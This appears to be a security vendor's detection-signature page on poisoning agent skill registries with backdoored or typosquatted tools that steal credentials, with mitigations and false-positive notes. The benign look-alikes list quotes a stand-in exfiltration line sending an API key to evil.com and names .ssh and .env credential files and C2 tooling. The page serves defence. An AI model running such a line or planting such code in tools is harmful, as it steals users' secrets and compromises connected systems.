Skill Registry Poisoning and Compromised Tool Distribution
Attackers publish backdoored versions of legitimate agent tools/skills, or create lookalike names for popular ones, so that when an AI agent installs or invokes the tool it runs malicious code instead of (or alongside) its intended function. This is a supply-chain attack aimed at the tool distribution channel agents use to extend their capabilities.
How the attack works
An attacker compromises a legitimate tool/skill package or publishes a new one under a name close to a trusted tool (typosquatting). The poisoned package is uploaded to a registry that agents pull from. When an agent installs or calls the tool, hidden code executes — commonly code that reads and exfiltrates credentials such as SSH keys or environment variables like API keys. The rule flags tool code or output containing exfiltration patterns, such as network calls that send file contents or secret-like environment values to an external address.
Netzilo detection
Netzilo reports this behaviour when it is observed.
- Signature ID
- 452b422b-ca0a-40ae-94fb-79ae9372c504
- Severity
- Critical
Why it matters
A single poisoned tool can silently steal credentials or secrets from every agent that installs it, and because agents often run with broad permissions, this can lead to further compromise of connected systems.
What you can do
- →Pin tool/skill versions and verify package hashes or signatures before allowing agents to install anything new.
- →Restrict agents to an allowlist of vetted tool sources rather than open registries.
- →Review new or updated tools for code that reads credential files (.ssh, .env) or makes outbound network calls before deployment.
- →Watch for tool names that closely resemble popular ones and confirm publisher identity before use.
Known benign look-alikes
- Legitimate security audit tools that check for credential exposure
- Security scanning tools that report findings containing references to credential file paths like .ssh/id_rsa or .env in their vulnerability assessment output
- Defensive security documentation that quotes a complete exfiltration example verbatim (for instance a skill that teaches detection and prints fetch('https://evil.com/?key=' + process.env.API_KEY) as the pattern to look for). This shape is indistinguishable from the attack by pattern matching alone and is the residual false-positive class after the 2026-08-04 tightening.
- Penetration-testing and red-team skills whose prose legitimately names malware and C2 tooling (meterpreter, Cobalt Strike, reverse shell, command and control) as subject matter rather than as payload